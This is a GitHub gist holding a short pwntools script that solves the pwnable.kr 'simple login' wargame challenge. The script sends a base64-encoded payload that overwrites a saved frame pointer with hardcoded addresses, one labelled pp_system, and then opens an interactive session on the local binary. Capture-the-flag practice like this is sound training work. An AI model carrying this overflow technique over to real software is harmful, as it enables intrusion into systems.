Created
March 2, 2016 09:48
-
-
Save RickGray/240ff2f5422918209ff8 to your computer and use it in GitHub Desktop.
http://pwnable.kr/ [simple login]
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# coding: utf-8 | |
from pwn import * | |
p = process('./login') | |
ebp_over = 0x0811EB40 | |
pp_system = 0x08049284 | |
payload = b64e('A' * 4 + p32(pp_system) + p32(ebp_over)) | |
p.sendline(payload) | |
p.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment